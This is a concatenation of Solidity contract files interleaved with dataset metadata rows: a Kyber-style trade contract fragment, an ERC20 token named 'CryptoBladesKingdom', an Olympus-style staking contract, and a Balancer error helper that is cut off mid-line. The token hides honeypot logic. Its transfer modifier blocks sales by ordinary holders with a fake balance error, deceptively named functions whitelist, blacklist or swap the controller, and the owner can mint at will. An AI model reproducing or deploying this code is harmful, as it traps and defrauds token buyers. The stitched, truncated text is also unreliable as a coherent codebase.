@dev makes a trade between src and dest token and send dest token to destAddress /// @param src Src token /// @param srcAmount amount of src tokens /// @param dest Destination token /// @param destAddress Address to send tokens to /// @param maxDestAmount A limit on the amount of dest tokens /// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled. /// @param walletId is the wallet ID to send part of the fees /// @return amount of actual dest tokens function trade(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId) public payable returns(uint) { require(enabled); uint userSrcBalanceBefore; uint userSrcBalanceAfter; uint userDestBalanceBefore; uint userDestBalanceAfter; userSrcBalanceBefore = getBalance(src, msg.sender); if (src == ETH_TOKEN_ADDRESS) userSrcBalanceBefore += msg.value; userDestBalanceBefore = getBalance(dest, destAddress); uint actualDestAmount = doTrade(src, srcAmount, dest, destAddress, maxDestAmount, minConversionRate, walletId); require(actualDestAmount > 0); userSrcBalanceAfter = getBalance(src, msg.sender); userDestBalanceAfter = getBalance(dest, destAddress); require(userSrcBalanceAfter <= userSrcBalanceBefore); require(userDestBalanceAfter >= userDestBalanceBefore); require((userDestBalanceAfter - userDestBalanceBefore) >= calcDstQty((userSrcBalanceBefore - userSrcBalanceAfter), getDecimals(src), getDecimals(dest), minConversionRate)); return actualDestAmount; } event AddReserveToNetwork(KyberReserveInterface reserve, bool add); /// @notice can be called only by admin /// @dev add or deletes a reserve to/from the network. /// @param reserve The reserve address. /// @param add If true, the add reserve. Otherwise delete reserve. function addReserve(KyberReserveInterface reserve, bool add) public onlyAdmin { if (add) { require(!isReserve[reserve]); reserves.push(reserve); isReserve[reserve] = true; AddReserveToNetwork(reserve, true); } else { isReserve[reserve] = false; // will have trouble if more than 50k reserves... for (uint i = 0; i < reserves.length; i++) { if (reserves[i] == reserve) { reserves[i] = reserves[reserves.length - 1]; reserves.length--; AddReserveToNetwork(reserve, false); break; } } } } event ListReservePairs(address reserve, ERC20 src, ERC20 dest, bool add); /// @notice can be called only by admin /// @dev allow or prevent a specific reserve to trade a pair of tokens /// @param reserve The reserve address. /// @param src Src token /// @param dest Destination token /// @param add If true then enable trade, otherwise delist pair. function listPairForReserve(address reserve, ERC20 src, ERC20 dest, bool add) public onlyAdmin { (perReserveListedPairs[reserve])[keccak256(src, dest)] = add; if (src != ETH_TOKEN_ADDRESS) { if (add) { src.approve(reserve, 2**255); // approve infinity } else { src.approve(reserve, 0); } } setDecimals(src); setDecimals(dest); ListReservePairs(reserve, src, dest, add); } function setParams(WhiteListInterface _whiteList, ExpectedRateInterface _expectedRate, FeeBurnerInterface _feeBurner, uint _maxGasPrice, uint _negligibleRateDiff) public onlyAdmin { require(_whiteList != address(0)); require(_feeBurner != address(0)); require(_expectedRate != address(0)); whiteListContract = _whiteList; expectedRateContract = _expectedRate; feeBurnerContract = _feeBurner; maxGasPrice = _maxGasPrice; negligibleRateDiff = _negligibleRateDiff; } function setEnable(bool _enable) public onlyAdmin { if (_enable) { require(whiteListContract != address(0)); require(feeBurnerContract != address(0)); require(expectedRateContract != address(0)); } enabled = _enable; } /// @dev returns number of reserves /// @return number of reserves function getNumReserves() public view returns(uint) { return reserves.length; } /// @notice should be called off chain with as much gas as needed /// @dev get an array of all reserves /// @return An array of all reserves function getReserves() public view returns(KyberReserveInterface[]) { return reserves; } /// @dev get the balance of a user. /// @param token The token type /// @return The balance function getBalance(ERC20 token, address user) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return user.balance; else return token.balanceOf(user); } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @param src Src token /// @param dest Destination token function findBestRate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint, uint) { uint bestRate = 0; uint bestReserve = 0; uint numRelevantReserves = 0; uint numReserves = reserves.length; uint[] memory rates = new uint[](numReserves); uint[] memory reserveCandidates = new uint[](numReserves); for (uint i = 0; i < numReserves; i++) { //list all reserves that have this token. if (!(perReserveListedPairs[reserves[i]])[keccak256(src, dest)]) continue; rates[i] = reserves[i].getConversionRate(src, dest, srcQty, block.number); if (rates[i] > bestRate) { //best rate is highest rate bestRate = rates[i]; } } if (bestRate > 0) { uint random = 0; uint smallestRelevantRate = (bestRate * 10000) / (10000 + negligibleRateDiff); for (i = 0; i < numReserves; i++) { if (rates[i] >= smallestRelevantRate) { reserveCandidates[numRelevantReserves++] = i; } } if (numRelevantReserves > 1) { //when encountering small rate diff from bestRate. draw from relevant reserves random = uint(block.blockhash(block.number-1)) % numRelevantReserves; } bestReserve = reserveCandidates[random]; bestRate = rates[bestReserve]; } return (bestReserve, bestRate); } function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view returns (uint expectedRate, uint slippageRate) { require(expectedRateContract != address(0)); return expectedRateContract.getExpectedRate(src, dest, srcQty); } function getUserCapInWei(address user) public view returns(uint) { return whiteListContract.getUserCapInWei(user); } function doTrade(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId) internal returns(uint) { require(tx.gasprice <= maxGasPrice); require(validateTradeInput(src, srcAmount, destAddress)); uint reserveInd; uint rate; (reserveInd, rate) = findBestRate(src, dest, srcAmount); KyberReserveInterface theReserve = reserves[reserveInd]; require(rate > 0); require(rate < MAX_RATE); require(rate >= minConversionRate); uint actualSrcAmount = srcAmount; uint actualDestAmount = calcDestAmount(src, dest, actualSrcAmount, rate); if (actualDestAmount > maxDestAmount) { actualDestAmount = maxDestAmount; actualSrcAmount = calcSrcAmount(src, dest, actualDestAmount, rate); require(actualSrcAmount <= srcAmount); } // do the trade // verify trade size is smaller than user cap uint ethAmount; if (src == ETH_TOKEN_ADDRESS) { ethAmount = actualSrcAmount; } else { ethAmount = actualDestAmount; } require(ethAmount <= getUserCapInWei(msg.sender)); require(doReserveTrade(src, actualSrcAmount, dest, destAddress, actualDestAmount, theReserve, rate, true)); if ((actualSrcAmount < srcAmount) && (src == ETH_TOKEN_ADDRESS)) { msg.sender.transfer(srcAmount - actualSrcAmount); } require(feeBurnerContract.handleFees(ethAmount, theReserve, walletId)); ExecuteTrade(msg.sender, src, dest, actualSrcAmount, actualDestAmount); return actualDestAmount; } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev do one trade with a reserve /// @param src Src token /// @param amount amount of src tokens /// @param dest Destination token /// @param destAddress Address to send tokens to /// @param reserve Reserve to use /// @param validate If true, additional validations are applicable /// @return true if trade is successful function doReserveTrade(ERC20 src, uint amount, ERC20 dest, address destAddress, uint expectedDestAmount, KyberReserveInterface reserve, uint conversionRate, bool validate) internal returns(bool) { uint callValue = 0; if (src == ETH_TOKEN_ADDRESS) { callValue = amount; } else { // take src tokens to this contract src.transferFrom(msg.sender, this, amount); } // reserve sends tokens/eth to network. network sends it to destination require(reserve.trade.value(callValue)(src, amount, dest, this, conversionRate, validate)); if (dest == ETH_TOKEN_ADDRESS) { destAddress.transfer(expectedDestAmount); } else { require(dest.transfer(destAddress, expectedDestAmount)); } return true; } function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev checks that user sent ether/tokens to contract before trade /// @param src Src token /// @param srcAmount amount of src tokens /// @return true if input is valid function validateTradeInput(ERC20 src, uint srcAmount, address destAddress) internal view returns(bool) { if ((srcAmount >= MAX_QTY) || (srcAmount == 0) || (destAddress == 0)) return false; if (src == ETH_TOKEN_ADDRESS) { if (msg.value != srcAmount) return false; } else { if ((msg.value != 0) || (src.allowance(msg.sender, this) < srcAmount)) return false; } return true; } } interface FeeBurnerInterface { function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool); } interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } interface ExpectedRateInterface { function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view returns (uint expectedRate, uint slippageRate); } contract WhiteListInterface { function getUserCapInWei(address user) external view returns (uint userCapWei); function() payable external { revert(); } }
177,806
12,184
dc4382a691a91f705be400de108793f4b6cd205cc38979b89fe32ed0e5baf30d
29,722
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0x2213532F94C14f49e8e26359a021AEdC4e83689F/contract.sol
3,403
12,658
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract CryptoBladesKingdom is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } }
255,198
12,185
211939681084bbb0826e02baaec6b53d97bd19fb3d40cd8527cf17bbd2dbc4c1
27,168
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/af/Afb5Dd30c85b8FACF231991FC95bD22d47BACc6A_XYZDAOStaking.sol
4,111
16,495
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IsXYZ { function rebase(uint256 XYZProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract XYZDAOStaking is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; address public immutable XYZ; address public immutable sXYZ; struct Epoch { uint length; uint number; uint endBlock; uint distribute; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _XYZ, address _sXYZ, uint _epochLength, uint _firstEpochNumber, uint _firstEpochBlock) { require(_XYZ != address(0)); XYZ = _XYZ; require(_sXYZ != address(0)); sXYZ = _sXYZ; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endBlock: _firstEpochBlock, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(XYZ).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IsXYZ(sXYZ).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(sXYZ).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, IsXYZ(sXYZ).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IsXYZ(sXYZ).balanceForGons(info.gons)); IERC20(XYZ).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(sXYZ).safeTransferFrom(msg.sender, address(this), _amount); IERC20(XYZ).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return IsXYZ(sXYZ).index(); } function rebase() public { if(epoch.endBlock <= block.number) { IsXYZ(sXYZ).rebase(epoch.distribute, epoch.number); epoch.endBlock = epoch.endBlock.add(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IsXYZ(sXYZ).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(XYZ).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(sXYZ).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(sXYZ).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
308,473
12,186
6aa358e621da509bd632da11301c266c109ae98e3f9e855f591f7fc4ce9e2639
15,096
.sol
Solidity
false
591827980
Brean0/Flashpipe
ca63c02f31443e756515521eb2a6c91f2894195d
contracts/interfaces/helpers/BalancerErrors.sol
4,438
12,951
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity >=0.7.0 <0.9.0; // solhint-disable function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } function _require(bool condition, uint256 errorCode, bytes3 prefix) pure { if (!condition) _revert(errorCode, prefix); } function _revert(uint256 errorCode) pure { _revert(errorCode, 0x42414c); // This is the raw byte representation of "BAL" } function _revert(uint256 errorCode, bytes3 prefix) pure { uint256 prefixUint = uint256(uint24(prefix)); // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // number (8 to 16 bits) than the individual string characters. // // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. // Then, we shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // array). let formattedPrefix := shl(24, 